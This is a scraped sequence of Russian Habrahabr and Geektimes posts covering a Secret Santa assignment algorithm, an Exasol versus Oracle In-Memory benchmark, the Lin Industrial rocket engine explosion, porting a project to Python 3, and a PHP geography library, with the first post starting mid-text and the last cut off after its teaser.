небольшое соглашение о том, как представлять конкретный набор, сопоставляющий дарителей и одариваемых, с математической точки зрения. Назначение одариваемых в Тайном Санте — не что иное, как назначение каждому из участников группы из N человек номера от 1 до N, означающего номер одариваемого (если считать, что все участники пронумерованы от 1 до N). При этом: Никому не должен достаться свой собственный номер (тк нельзя дарить себе самому); Не должно быть номеров, никому не доставшихся (тк все должны быть одарены); Номер каждого участника достаётся ровно одному дарителю (тк каждый должен получить ровно 1 подарок). Двум участникам может выпасть дарить подарки друг другу — в принципе это совершенно нормально, но иногда участники могут условиться перебрасывать жребий в этом случае. На номера могут накладываться другие дополнительные ограничения в зависимости от ситуации (например, если в "Санте" участвуют несколько семей, они могут условиться перебрасывать жребий, если кому-то из участников выпало делать подарок члену своей семьи). Отсюда видно, что любой список пар даритель-одариваемый для Secret Santa можно представить в виде последовательности из N чисел (на i-ом месте записывается номер того, кому дарит подарок i-ый участник), представляющей собой перестановку порядка N без неподвижных точек. Первый этап алгоритма Итак, каждому участнику назначается номер от 1 до N, например в алфавитном порядке имён. Эта информация является открытой и сообщается всем участникам. Затем первый участник случайным образом создаёт большой набор (нужно не менее 2N) натуральных чисел так, что никакие 2 из них не совпадают. Этот набор изначально не сообщается никому. Первый участник записывает эти числа для удобства в порядке возрастания, выбирает себе любое одно из них случайным образом, удаляет выбранное число из набора и передаёт оставшийся набор второму участнику. В итоге у первого участника оказываются записанными 2 вещи: стартовый набор чисел и выбранное им число. Приведём пример с 5 участниками. Первый участник генерирует начальный набор: 3, 46, 50, 89, 94, 95, 101, 500, 783, 5003, 5765, 7003 Выбрано: 783 Передаётся второму участнику: 3, 46, 50, 89, 94, 95, 101, 500, 5003, 5765, 7003 Второй участник точно так же выбирает себе из набора произвольное число, удаляет его из набора и передаёт оставшийся набор следующему участнику. Так же поступают 3-ий, 4-ый и 5-ый участник. Пятый, последний, участник выбирает себе число, но никому ничего пока не передаёт. Продолжим пример: Второй участник получает (повторим ещё раз): 3, 46, 50, 89, 94, 95, 101, 500, 5003, 5765, 7003 Второй участник выбирает: 3 Третий участник получает: 46, 50, 89, 94, 95, 101, 500, 5003, 5765, 7003 Третий участник выбирает: 94 Четвёртый участник получает: 46, 50, 89, 95, 101, 500, 5003, 5765, 7003 Четвёртый участник выбирает: 5765 Пятый участник получает: 46, 50, 89, 95, 101, 500, 5003, 7003 Пятый участник выбирает: 101 Остаток набора: 46, 50, 89, 95, 500, 5003, 7003 На этом первый этап алгоритма окончен. Комментарий: в итоге у каждого из участников имеется число, не известное всем остальным (точнее, каждому участнику известен большой набор чисел, про который он знает, что последующие участники выбирали своё число из него — но это не даёт никакой информации, позволяющей точно узнать чужие числа). Если мы теперь найдём способ как-то сообщить весь набор выбранных чисел каждому из участников, то задача назначения дарителей будет решена: каждому участнику достаточно взять за конечный результат порядковый номер выбранного им числа в этом наборе выбранных номеров. Предположим, что мы уже нашли способ сообщить каждому набор выбранных номеров (вообще мы это сделаем на 2-ом этапе алгоритма) и участники узнали номера своих одариваемых. Проблема в том, что одному или более участникам могут выпасть их собственные номера, что делает весь итоговый результат некорректным. Это большой минус алгоритма, так как вероятность попасть в эту ситуацию довольно высока, хотя она и падает с ростом N. Выходов как минимум 2: Участник, получивший свой собственный номер, запрашивает у всех перебрасывание жребия с начала. Эту процедуру нужно повторять, пока все не подтвердят, что им достался корректный номер. Участник, получивший свой собственный номер, запрашивает у всех применение к итоговым результатам случайной перестановки без неподвижных точек. Эта перестановка генерируется открыто и сообщается всем участникам. Каждый участник должен применить эту перестановку к номеру своего одариваемого. Эту процедуру нужно повторять, пока все не подтвердят, что им достался корректный номер. Этот способ подходит только при физической встрече, так как при удалённом общении невозможно гарантировать случайность перестановки (тот, кому задано сгенерировать перестановку, к примеру, может беспрепятственно сгенерировать перестановку, переводящую его номер одариваемого в любой другой номер одариваемого по его желанию). В примере с 5 участниками вот как будут выглядеть выбранные номера: 1-ый участник выбрал (повторим ещё раз): 783 2-ой участник выбрал (повторим ещё раз): 3 3-ий участник выбрал (повторим ещё раз): 94 4-ый участник выбрал (повторим ещё раз): 5765 5-ый участник выбрал (повторим ещё раз): 101 Список выбранных номеров в порядке возрастания (повторюсь — предположим, что мы знаем, как секретно сообщить его всем участникам): 3 94 101 783 5765 Итого, номера одариваемых: 1-ый участник: выбрал 783, набор 3 94 101 783 5765 — номер одариваемого 4 2-ой участник: выбрал 3, набор 3 94 101 783 5765 — номер одариваемого 1 3-ий участник: выбрал 94, набор 3 94 101 783 5765 — номер одариваемого 2 4-ый участник: выбрал 5765, набор 3 94 101 783 5765 — номер одариваемого 5 5-ый участник: выбрал 101, набор 3 94 101 783 5765 — номер одариваемого 3 Переброса не требуется. Второй этап алгоритма Итак, как же сообщить всем набор "выделенных" номеров? Это задача второго этапа. Узнать этот набор может первый участник, если последний участник сообщит ему оставшийся в конце набор (в примере это 46, 50, 89, 95, 500, 5003, 7003). Первому участнику тогда достаточно исключить этот набор из стартового, и результат исключения будет искомым набором выбранных участниками чисел. Заметим, что первый участник при таком действии всё ещё не знает никакой информации, позволяющей ему раскрыть номера, доставшиеся остальным участникам. К сожалению, просто взять и сообщить вычисленный набор дальше по цепочке нельзя — хотя бы потому, что предпоследний участник по этой информации мгновенно вычислит номер, выбранный последним участником, а значит и узнает его одариваемого. Решение у этой проблемы следующее. Как уже сказано, последний участник передаёт первому самый последний оставшийся набор. У первого участника оказываются следующие данные: Стартовый набор: 3, 46, 50, 89, 94, 95, 101, 500, 783, 5003, 5765, 7003 Выбрано число: 783 Последний остаток набора: 46, 50, 89, 95, 500, 5003, 7003 Первый участник вычисляет, как уже сказано выше, набор выбранных всеми участниками чисел: 3, 94, 101, 783, 5765 и узнаёт выпавший ему номер одариваемого — 4. Теперь, начиная с этого момента, каждый участник, начиная с первого, будет сообщать следущему участнику набор из N чисел. Каждый, получивший такой набор, должен считать его набором выбранных всеми участниками номеров и соответственно вычислить номер своего одариваемого. Но на каждом шаге передаваться дальше будет не оригинальный набор выбранных номеров, а изменённый, но дающий тот же результат вычисления номера одариваемого, что и оригинальный. При этом изменённый набор исключит всякую возможность узнать выбранные другими числа. Для составления такого изменённого набора участник должен взять полученный им от предыдущего участника набор (в случае первого участника — набор, вычисленный как сказано выше) и подменить в нём своё число (выбранное на 1ом этапе) на любое другое число из доставшегося ему на 1-ом этапе набора, со следующими ограничениями: Заменённое число не должно входить в только что полученный от предыдущего участника набор; Заменённое число должно иметь тот же порядковый номер в изменённом наборе, что и заменяемое число в оригинальном наборе. В примере первый участник подменяет в наборе 3, 94, 101, 783, 5765 выбранное им число — 783. Числа, которые ему разрешено подставить вместо 783, — это 500 и 5003. Предположим, он выбрал подмену 783 на 5003 и передаёт второму участнику набор 3, 94, 101, 5003, 5765. Остальные участники делают то же самое. Доведём пример до конца. Второй участник: Набор на 1ом этапе — 3, 46, 50, 89, 94, 95, 101, 500, 5003, 5765, 7003 Выбранное число — 3 Набор на 2ом этапе — 3, 94, 101, 5003, 5765 Можно подставить вместо 3 — 46, 50, 89 Выбираем подставить 50, передаём дальше набор 50, 94, 101, 5003, 5765 Третий участник: Набор на 1ом этапе — 46, 50, 89, 94, 95, 101, 500, 5003, 5765, 7003 Выбранное число — 94 Набор на 2ом этапе — 50, 94, 101, 5003, 5765 Можно подставить вместо 94 — 89, 95 Выбираем подставить 89, передаём дальше набор 50, 89, 101, 5003, 5765 Четвёртый участник: Набор на 1ом этапе — 46, 50, 89, 95, 101, 500, 5003, 5765, 7003 Выбранное число — 5765 Набор на 2ом этапе — 50, 89, 101, 5003, 5765 Можно подставить вместо 5765 — 7003 Выбираем подставить 7003 (альтернатив особо нет), передаём дальше набор 50, 89, 101, 5003, 7003 Пятый участник: Набор на 1ом этапе — 46, 50, 89, 95, 101, 500, 5003, 7003 Выбранное число — 101 Набор на 2ом этапе — 50, 89, 101, 5003, 7003 Обмен наборами закончен, участники могут заняться вычислением номера одариваемого. Можно удостовериться, что никто из участников при таком подходе не может узнать ничего о чужих номерах. Всё, алгоритм завершён. Навскидку я вижу в нём ещё 2 недостатка, помимо упомянутых выше частых перебросов из-за шанса выпадения участнику своего собственного номера: Случайность выбора участником числа из набора никак не гарантируется. Никто не мешает первому участнику, например, выбрать последнее число в наборе и тем самым практически обеспечить себе номер одариваемого, равный N. Эта проблема устраняется, если, как уже сказано, участники договорятся в самом конце алгоритма дополнительно применить к результатам известную всем случайную перестановку без неподвижных точек, но её случайность тоже нужно как-то гарантировать. Алгоритм не умеет создавать никакие дополнительные ограничения на номера одариваемых (например, запрет любым 2 участникам или определённым 2 участникам взаимно делать подарок друг другу). Всем спасибо, кто дочитал до конца, и с наступающим Новым годом :) Печеньку тому, кто найдёт ещё проблемы в алгоритме или решит существующие!
https://habrahabr.ru/post/318412/
habrahabr
Сравнение производительности аналитической СУБД Exasol и Oracle In-Memory Option
['exasol', 'dwh', 'oracle database', 'сравнение производительности']
Свою предыдущую статью я посвятил тому, как и на сколько можно ускорить аналитические (типовые для OLAP/BI систем) запросы в СУБД Oracle за счёт подключения опции In-Memory. В продолжение этой...
Свою предыдущую статью я посвятил тому, как и на сколько можно ускорить аналитические (типовые для OLAP/BI систем) запросы в СУБД Oracle за счёт подключения опции In-Memory. В продолжение этой темы я хочу описать несколько альтернативных СУБД для аналитики и сравнить их производительность. И начать я решил с in-memory RDBMS Exasol . Для тестов, результаты которых я публикую, выбран TPC-H Benchmark и при желании читатели могут повторить мои тесты. Краткая информация о СУБД Exasol Exasol – это реляционная аналитическая in-memory база данных со следующими ключевыми характеристиками: In-memory . БД в первую очередь предназначена для хранения и обработки данных в оперативной памяти. При этом данные дублируются на диск и вся база данных не обязательно должна помещаться в память. При выполнении запросов отсутствующие в памяти данные читаются с диска; MPP (massive parallel processing). Данные распределяются по узлам кластера для высокопроизводительной параллельной обработки (реализована по архитектуре shared nothing ); Сolumn-wise data storage. Информация в таблицах хранится по столбцам в сжатом виде, что значительно ускоряет аналитические запросы; Поддерживает стандарт ANSI SQL 2008 ; Хорошо интегрируется с большинством BI инструментов ; In-Database Analytics. Поддержка пользовательских функций на языках LUA, Python, R, Java. Java-based интерфейс к Hadoop’s HDFS . Более подробно про возможности Exasol можно прочитать в отличной статье на Хабре. Добавлю только то, что, несмотря на невысокую популярность в наших краях, это зрелый продукт, который присутствует в Gartner Magic Quadrant for Data Warehouse and Data Management Solutions for Analytics с 2012 года. TPC-H Benchmark Для теста производительности я использовал tpc-h benchmark , который используется для сравнения производительности аналитических систем и хранилищ данных. Этот бенчмарк используют многие производители как СУБД, так и серверного оборудования. На странице tpс-h доступно много результатов, для публикации которых необходимо выполнить все требования спецификации на 136 страницах. Я публиковать официально свой тест не собирался, поэтому всем правилам строго не следовал. В рейтинге TPC-H — Top Ten Performance Results Exasol является лидером по производительности (на объёмах от 100 Гб до 100 Тб), что и стало изначально причиной моего интереса к этой СУБД. TPC-H позволяет сгенерировать данные для 8-ми таблиц с использованием заданного параметра scale factor , который определяет примерный объём данных в гигабайтах. Я ограничился 2 Гб, так как на этом объёме тестировал Oracle In-Memory. Бенчмарк включает 22 SQL запроса различной сложности. Отмечу, что сгенерированные утилитой qgen запросы, нужно корректировать под особенности конкретной СУБД, но в случае Exasol изменения были минимальны: замена set rowcount на LIMIT clause и замена keyword value . Для теста было сгенерировано 2 вида нагрузки: 8 виртуальных пользователей параллельно 3 раза по кругу выполняют все 22 запроса 2 виртуальных пользователя параллельно 12 раз по кругу выполняют все 22 запроса В итоге, в обоих случаях оценивалось время выполнения 528-ми SQL запросов. Кого заинтересуют DDL cкрипты для таблиц и SQL запросы, напишите в комментариях. Для целей сравнения БД или оборудования для аналитики (в т.ч. для Big Data) ещё рекомендую обратить внимание на другой более свежий benchmark — TPC-DS . В нём больше таблиц и значительно больше запросов – 99. Тестовая площадка Ноутбук со следующими характеристиками: Intel Core i5-4210 CPU 1.70GHz – 4 virt. processors; DDR3 16 Gb; SSD Disk. ОС: MS Windows 8.1 x64 VMware Workstation 12 Player Virtual OS: CentOS 6.8 (Memory: 8 Gb; Processors: 4) СУБД: EXASOL V6 Free Small Business Edition rc1 ( single node ) Загрузка данных в БД Exasol Данные я загружал из текстовых файлов с помощью утилиты EXAplus . Скрипт загрузки: IMPORT INTO TPСH.LINEITEM FROM LOCAL CSV FILE 'D:\lineitem.dsv' ENCODING = 'UTF-8' ROW SEPARATOR = 'CRLF' COLUMN SEPARATOR = '|' SKIP = 1 REJECT LIMIT 0; Время загрузки всех файлов составило 3 мин. 37 сек. Отмечу ещё, что очень приятное впечатление оставила документация с множеством примеров. Так, в ней описан ряд альтернативных способов загрузки данных: напрямую из различных СУБД, c использованием ETL инструментов и другие. Далее в таблице представлена информация о том, как данные организованы в Exasol и Oracle In-Memory: Exasol Oracle IM Таблица Кол-во строк Объём сырых данных (Mb) Объём таблиц в памяти (Мб) Коэф. сжатия Кол-во индексов Объём индексов в памяти (Мб) Объём таблиц в памяти (Мб) Коэф. сжатия LINEITEM 11 996 782 1 562.89 432.5 3.61 4 109.32 474.63 3.29 ORDERS 3 000 000 307.25 97.98 3.14 2 20.15 264.38 1.16 PARTSUPP 1 600 000 118.06 40.46 2.92 2 5.24 72.75 1.62 CUSTOMER 300 000 39.57 20.99 1.89 2 1.42 32.5 1.22 PART 400 000 51.72 10.06 5.14 1 1.48 20.5 2.52 SUPPLIER 20 000 2.55 2.37 1.08 4.5 0.57 NATION 25 0 0.01 0.00 1.13 0.00 REGION 5 0 0.01 0.00 1.13 0.00 TOTAL 17 316 812 2 082.04 604.38 3.44 11 137.61 871.52 2.39 Эту информацию в Exasol можно посмотреть в системных таблицах SYS.EXA_ALL_OBJECT_SIZES и SYS.EXA_ALL_INDICES . Результаты выполнения теста Oracle IM Exasol 8 сессий (1-й запуск), сек. 386 165 8 сессий (2-й запуск), сек. ~386 30 2 сессии (1-й запуск), сек. 787 87 2 сессий (2-й запуск), сек. ~787 29 Таким образом, видим, что данный тест на Exasol выполняется быстрее относительно Oracle IM при 1-м запуске и значительно быстрее со 2-го запуска. Ускорение повторных выполнений SQL запросов в Exasol обеспечивается за счёт автоматического создания индексов. 11 индексов заняли в оперативной памяти примерно 23% относительно размера самих таблиц, что, на мой взгляд, стоит такого ускорения. Отмечу, что Exasol не даёт возможности управлять индексами. Приведу перевод фразы из документации на тему оптимизации: EXASolution сознательно прячет сложные механизмы настройки производительности для клиентов, такие, как например: создание различных типов индексов, вычисление статистики по таблицам и т.д. Запросы в EXASolution анализируются с помощью оптимизатора и необходимые для оптимизации действия выполняются в полностью автоматическом режиме. Ещё по результатам выполнения видно, что в моём случае Oracle лучше параллелил запросы (8 сессий в сравнении с 2-мя). С причинами этого я пока детально не разбирался. Exasol в облаке Для желающих самостоятельно оценить производительность Exasol без необходимости устанавливать виртуальную ОС и загружать данные есть демо Exasol in the cloud . После регистрации мне предоставили доступ на 2 недели к кластеру из 5 серверов. Там доступна TPCH схема со Scale Factor = 50 (50 Gb, ~433 млн. записей). 2-й запуск моего теста с 2-мя сессиями на этих данных занял примерно 2 минуты. В заключение Для себя я сделал вывод, что СУБД Exasol – отличный вариант для построения хранилища данных и аналитической системы на нём. В отличии от универсальной Oracle DB, Exasol создана для аналитики. Можно привести аналогию с автомобилями: для поездок на рыбалку хорошо иметь внедорожник, а для передвижения по городу компактный легковой авто. Как и в предыдущей статье призываю всех делать какие-либо серьёзные выводы только после тестов на ваших конкретных кейсах. На этом пока всё, на очереди тест для HPE Vertica. P.S.: Буду очень благодарен, если ребята из Тинькофф Банк (@Kapustor) поделятся информацией о своём итоговом выборе , а Badoo (@wildraid) новостями проекта .
https://habrahabr.ru/post/318416/
habrahabr
Три интриги на два стартапа или как правильно взорвать свой ракетный двигатель
['космонавтика', 'частный космос', 'ракеты-носители', 'испытания', 'укп', 'Лин Индастриал']
Уже две недели прошло со взрыва ракетного двигателя «Атар» на испытаниях российского космического стартапа «Лин Индастриал». В первые дни после происшествия на странице «Лин Индастриал» появилась...
Уже две недели прошло со взрыва ракетного двигателя «Атар» на испытаниях российского космического стартапа «Лин Индастриал». В первые дни после происшествия на странице «Лин Индастриал» появилась просьба прекратить распространять сплетни и догадки и ждать официального пресс-релиза. Его мы так и не дождались, а в дискуссиях по следам происшествия вскрылись некоторые любопытные факты. Необходимый дисклеймер Задача создания собственной ракеты-носителя очень сложная, и я испытываю огромное уважение к людям, которые пытаются ее решить. Но уважение не исключает недоумения по поводу странных действий и указания на кажущиеся очевидными ошибки (и пусть меня поправят, если это не так). Краткое описание происшествия Для тех, кто не в курсе дела. 11 декабря прошли первые огневые испытания ракетного двигателя «Атар» тягой 100 кгс. Но, проработав примерно четыре секунды, двигатель взорвался. Первая официальная информация была очень неопределенной. Неизвестность с лихвой компенсировали журналисты. По сообщению Life.ru осколок взорвавшегося двигателя оторвал часть руки рабочего, находящегося в вагончике неподалеку. В материале «Комсомольской правды» уже говорилось о переломе руки, а вечером 13 декабря на официальной странице «Лин Индастриал» ВКонтакте появилась информация о «повреждении» кисти. Было также опубликовано видео испытаний, но взрыв и последующий пожар стенда (на КДПВ) оттуда были вырезаны. СМИ переключились на новые события, и, без официальных обновлений, спустя две недели мы так и не знаем степень травмы и текущее состояние пострадавшего рабочего, наличие и статус уголовного дела (была информация о том, что оно заведено), статус расследования аварии и дальнейший график работ «Лин Индастриал». Странное место В сюжете телеканала «Россия 24» было показано место происшествия. Если найти это место на карте, то возникают вопросы к официальному сообщению. Как «на километры вокруг никого не будет», если место расположено в черте города, возле дороги, а рядом находятся заправка и автобусная остановка? Это выглядит во много раз более странным, если учесть еще несколько факторов. Во-первых, у «Лин Индастриал» летающий стенд для отработки системы управления запускали уже как минимум тринадцать раз где-то «в полях», куда конструкторы имели возможность добраться с не сильно меньшим по размерам и габаритам грузом. Во-вторых, из открытой информации, представленной на официальном сайте «Лин Индастриал» видно, что двигатель делали долго и планомерно. Испытания форсунок для двигателя начались в декабре 2015. Сам двигатель был изготовлен в марте 2016. Гидравлические испытания прошли в мае. В сентябре началась сборка огневого стенда, которую завершили к октябрю, и провели еще одни гидравлические испытания тогда же. Параллельно в сентябре были испытаны два варианта самодельного катализатора для разложения перекиси водорода — одного из компонентов топлива для двигателя. После работы такого качества и продолжительности испытания в тех условиях, в которых они случились, выглядят спешкой. В-третьих, любой человек, хотя бы немного интересующийся космонавтикой и ракетной техникой, знает, что ракетные двигатели иногда взрываются. Новые двигатели на испытаниях взрываются уже не иногда, а как правило. Даже в «Укрощении огня» первый исторический пуск ГИРД-09 производится людьми из укрытия. На этом фоне странно видеть открытый прицеп без какой-либо противоосколочной защиты — земляного вала, бетонных блоков, железных листов — допустимых вариантов очень много. Конструкторы «Лин Индастриал» были настолько оптимистичны, что верили, что двигатель заработает с первого раза? При том, что на своем опыте сталкивались с ситуациями, когда на испытаниях получались результаты, противоречащие ожиданиям? Странно. Не первые Многие СМИ назвали происшествие испытаниями первого в России частного жидкостного ракетного двигателя. Но это не так. Оказывается, еще 14 ноября компания НСТР РТ испытала свой ЖРД тягой 85 кгс, и в программе «Космическая среда» ТВ Роскосмоса можно найти видео работы двигателя (с 3:57) При этом было показано интервью Николая Дзись-Войнаровского с подписью «представитель компании Лин Индастриал». Из обсуждения на форуме журнала «Новости космонавтики» получается, что компания НСТР РТ отпочковалась от «Лин Индастриал», и у нас теперь есть как минимум два ракетных стартапа. Кроме этого видео информация о двигателе НСТР РТ отсутствует, и генеральный конструктор Николай Дзись-Войнаровский не горит желанием ее раскрывать. У компании есть сайт , но он пока пустой. Нехватка информации привела к тому, что некоторые горячие головы сомневаются в существовании компании НСТР РТ и двигателя и доходят даже до оскорблений. Глядя на эти «тайны королевского двора» возникает нехорошее подозрение. Неужели недостаточная продуманность испытаний «Лин Индастриал» была вызвана спешкой из-за потери приоритета в испытаниях «первого частного ЖРД в России»? Это было бы очень печально. Разработка ракет-носителей — дело очень трудное, не стоит усложнять его еще больше нерациональными действиями из-за вполне понятных амбиций. Менталитет От частных космических компаний в России 21 века ждешь открытости и хороших навыков пиара. И, пока все шло хорошо, «Лин Индастриал» выпускала отличные отчеты о том, что происходит. Но случилась авария, и действия космических стартаперов стали напоминать худшие образцы пиара даже не Роскосмоса, а советской космонавтики — информации нет, на видео испытаний взрыв и пожар вырезаны, комментарии в обсуждениях местами удалены. Неужели это менталитет или что-то настолько же въевшееся во всех нас? Почему датский ракетный стартап Copenhagen Suborbitals собирает нормально защищенный стенд и проводит испытания публично, с приглашением зрителей, а у нас испытания проводятся ночью в промзоне? Разборный стенд Copenhagen Suborbitals можно перевозить Бетонные блоки надежно защищают от осколков Зрителям будет, что вспомнить и чем вдохновлять своих детей и внуков Почему на YouTube можно найти видео взрывов двигателей какого-то неизвестного японского стартапа, а у нас поддаются на искушение показывать только хорошую картинку? NASA не стесняется в свои фильмы вставлять хронику взрывов своих двигателей. Ракетная техника — сложная штука, и испытания двигателя, который, наконец, не взорвался, выглядят гораздо более наглядной победой. Заключение Конструкторам «Лин Индастриал» очень не повезло — ситуация «осколок пробил забор, стенку вагончика и попал в человека» весьма маловероятна. Но им, в то же время, очень повезло — осколок, попавший в руку, мог попасть и в шею, и тогда бы все могло быть гораздо более печально. За неимением информации остается только надеяться, что «Лин Индастриал» преодолеет последствия аварии и сделает выводы из своих ошибок. Потому что очень хочется в один прекрасный день сесть за компьютер и, вместе с сотнями других зрителей, открыть онлайн-трансляцию испытаний двигателя «Лин Индастриал» тягой тонн в пятьдесят. UPD : В блоге руководителя «Лин Индастриал» Александра Ильина появился новый пост , в котором опубликована дополнительная информация о причинах выбора промзоне в качестве места испытаний, сделан предварительный анализ возможных причин аварии и объясняются причины молчания: К сожалению, любые публикации (даже в хорошем ключе), любые вопросы, любые обсуждения — могут сильно ухудшить ситуацию для нас лично (не только для фирмы).
https://geektimes.ru/post/283880/
habrahabr
Опыт портирования проекта на Python 3
['python', 'python2', 'python3', '2to3']
Хочу поделиться опытом портирования проекта с Python 2.7 на Python 3.5. Необычными засадами и прочими интересными нюансами. Немного о проекте: Браузерка: сайт + игровая логика...
Хочу поделиться опытом портирования проекта с Python 2.7 на Python 3.5. Необычными засадами и прочими интересными нюансами. Немного о проекте: Браузерка: сайт + игровая логика (иерархические конечные автоматы + куча правил); Возраст: 4 года (начат в 2012); 64k loc логики + 57k loc тестов; 2400 коммитов. Портирование проводилось с помощью утилиты 2to3 с последующим восстановлением работоспособности тестов. Сколько это заняло времени сказать сложно, проект — хобби — занимаюсь им в свободное время. 2to3 2to3 конвертирует исходники Python 2 в пригодный для Python 3 вид. Для этого она применяет к ним набор эвристик (их списк можно настраивать). В целом, с утилитой проблем не возникло, но если у вас большой и/или сложный проект, то лучше перед запуском ознакомиться со списком эвристик. После обработки исходников очень рекомендую вычитать изменения, поскольку производительность — это не то, что ставится во главу угла при конвертировании. Также есть вероятность, что некоторые ваши имена пересекутся с удаляемыми/изменяемыми методами. Например, 2to3 изменила код, который работал с моим методом has_key моего же класса (этот метод есть у словаря Python 2 и удалён в Python 3). Цена прогресса Итак, о что можно споткнуться, если начать двигать прогресс в сторону Python 3. Начну с самого интересного. Банковское округление «ЧЕЕЕЕГОООО?!?» о_О Примерно такой была моя реакция, когда, разбираясь с очередным тестом, я увидел в консоли следующее: round(1.5) 2 round(2.5) 2 «Банковское» округление — округление к ближайшему чётному. Это новые правила округления, заменившие «школьное» округление в большую сторону. Смысл «банковского» округления в том, что при работе с большим количеством данных и сложных вычислениях оно сокращает вероятность накопления ошибки. В отличие от обычного «школьного» округления, которое всегда приводит половинчатые значения к большему числу. Для большинства это изменение не критично, но оно может привести к совсем неожиданному изменению поведения программы. В моём случае, например, изменилось расположение дорог на игровой карте. Обратите внимание, оно работает для любой точности round(1.65, 1) 1.6 round(1.55, 1) 1.6 Целочисленное деление стало дробным Если вы полагались на целочисленную арифметику с типом int (когда 1/4 == 0 ), то готовьтесь к длительному вычитыванию кода, поскольку теперь 1/4 == 0.25 и провести автоматическую замену / на // (оператор целочисленного деления) не получится из-за отсутствия информации о типах переменных. Guido van Rossum подробно объяснил причину этого изменения . Новая семантика map Изменилось поведение функции map при итерации по нескольким последовательностям. В Python 2, если одна последовательность короче остальных, она дополняется объектами None . В Python 3, если одна последовательность короче остальных, итерация прекращается. Python 2: map(lambda x, y: (x, y), [1, 2], [1]) [(1, 1), (2, None)] Python 3: list(map(lambda x, y: (x, y), [1, 2], [1])) [(1, 1)] В теле классов в генераторах и списковых выражениях нельзя использовать атрибуты класса Приведённый ниже код будет работать в Python 2, но вызовет исключение NameError: name 'x' is not defined в Python 3: class A(object): x = 5 y = [x for i in range(1)] Это связано с изменениями в областях видимости генераторов, списковых выражений и классов. Подробный разбор на Stackoverflow . Но будет работать следующий код: def make_y(x): return [x for i in range(1)] class A(object): x = 5 y = make_y(x) Новые и удалённые методы у стандартных классов Если вы полагались на наличие или отсутствие методов с конкретными именами, то могут возникнуть неожиданные проблемы. Например, в одном месте, где творилась чёрная волшба, я отличал строки от списков по наличию метода __iter__ . В Python 2 его у строк нет, в Python 3 он появился и код сломался. Семантика операций стала строже Некоторые операции, которые по умолчанию работали в Python 2, перестали работать в Python 3 . В частности, запрещено сравнение объектов без явно заданных методов сравнения. Выражение object() < object() : В Python 2 вернёт True или False (в зависимости от «identity» объектов). В Python 3 приведёт к исключению TypeError: unorderable types: object() < object() . Изменения реализации стандартных классов Думаю их много разных, но я столкнулся с изменением поведения словаря. Следующий код будет иметь разные эффекты в Python 2 и Python 3: D = {'a': 1, 'b': 2, 'c': 3} print(list(D.values())) В Python 2 он всегда печатает [1, 3, 2] (или, как минимум, одинаковую последовательность для конкретной сборки Python на конкретной машине). В Python 3 последовательность элементов отличается при каждом запуске. Соответственно, результаты выполнения кода, полагавшегося на эту «фичу» станут отличаться. Конечно, я не полагался специально на фиксированную последовательность элементов в словаре, но, как оказалось, сделал это неявно. Использование памяти и процессора К сожалению, из-за совмещения портирования, переезда на новый сервер и рефакторинга сделать конкретные замеры не получилось. Выводы Мой главный вывод — Python стал более идиоматичным: неопределённое поведение стало действительно неопределённым; рекомендуемый стиль программирования более рекомендуемым; плохим практикам стало сложнее следовать; хорошим практикам стало проще следовать. В коде стало легче обнаружить семантические ошибки, которые в былые времена могли прятаться годами. Второй вывод: если вы завязаны на математические операции, лучше начинать реализовывать их сразу в правильном для Python 3 ключе, даже если вы собираетесь тянуть с переездом до 20-ого года. Пишите код на Python 2 с использованием __future__ и никаких проблем с переездом не будет.
https://habrahabr.ru/post/318384/
habrahabr
Пакет-географ: готов к работе
['php', 'open-source', 'география']
Работа над созданием началась ещё в мае, в июле была неплохая рабочая версия, и вот в декабре у нас: Полное соответствие кодов ISO ISO-3166-1 и ISO-3166-2 Возможность выбора системы деления –...
Работа над созданием началась ещё в мае , в июле была неплохая рабочая версия, и вот в декабре у нас: Полное соответствие кодов ISO ISO-3166-1 и ISO-3166-2 Возможность выбора системы деления – ISO, FIPS или GeoNames Полное покрытие стран и областей мира русскими переводами Логичная изоляция данных от кода, открываем дорогу SDK на других языках Официальный сайт с документацией на русском языке Наша цель очень простая – стать стандартной open-source библиотекой географических данных (административных делений и названий). На сегодня ничего подобного нет, каждому разработчику приходится изобретать велосипед заново. Если вкратце, то основной плюс от использования библиотеки Географ, это возможность делать что-то вроде: use MenaraSolutions\Geographer\State; $voronezh = State::build('RU-VOR'); echo "За окном {$voronezh->getName('ru')}\n"; echo "Иван живет {$voronezh->inflict('in')->getName()}\n"; echo "Лена вернулась {$voronezh->inflict('from')->getName()}\n"; // За окном Воронежская область // Иван живет в Воронежской области // Лена вернулась из Воронежской области Если вы считаете, что это очень просто, то знайте, что даже гиганты вроде Facebook и VK до сих пор делают это с ошибками! :) В шаблонах не надо думать о правильном предлоге («в», «во», «на» и так далее) Не надо засорять базу данных и код вторичным для продукта содержимым База данных постоянно правится силами open-source программистов (бесплатно!) Отделение данных от кода Важным отличием текущей версии стало разделение репозиториев – данные JSON теперь хранятся как отдельный пакет, что позволяет использовать содержимое в других языках программирования. Кроме того, исправления, скажем, на русском языке будут скачиваться только теми, кому действительно нужен русский язык (установлен пакет с русским языком в composer.json). Возможность выбора стандарта По умолчанию Географ использует систему ISO 3166 для деления по странам и областям. ISO – единственный активно поддерживаемый стандарт на сегодня, поэтому мы рекомендуем использовать его. Тем не менее, стандарт можно выбрать: $country->setStandard(DefaultManager::STANDARD_ISO); // ISO $country->setStandard(DefaultManager::STANDARD_FIPS); // FIPS 10-4 $country->setStandard(DefaultManager::STANDARD_GEONAMES); // GeoNames Участие приветствуется Приглашаем к участию разработчиков! Географ – перспективный и полезный пакет. Среди приоритетов SDK для Node.js и Ruby, а также доведение переводов городов на русском до 100%. Комментарии, критика и любые другие виды обратной связи также горячо приветствуются.
https://habrahabr.ru/post/318424/
habrahabr
Оптический бокс для работы в спартанских условиях
['телекоммуникации', 'волоконно-оптический кабель', 'монтаж оптоволокна', 'оптический крос', 'связь']
Мы постепенно начнем знакомить аудиторию Geektimes с продукцией нашего телеком супермаркета. Сегодня, речь пойдет о новинке, которая будет интересна прежде всего тем кто трудится “в поле”,...
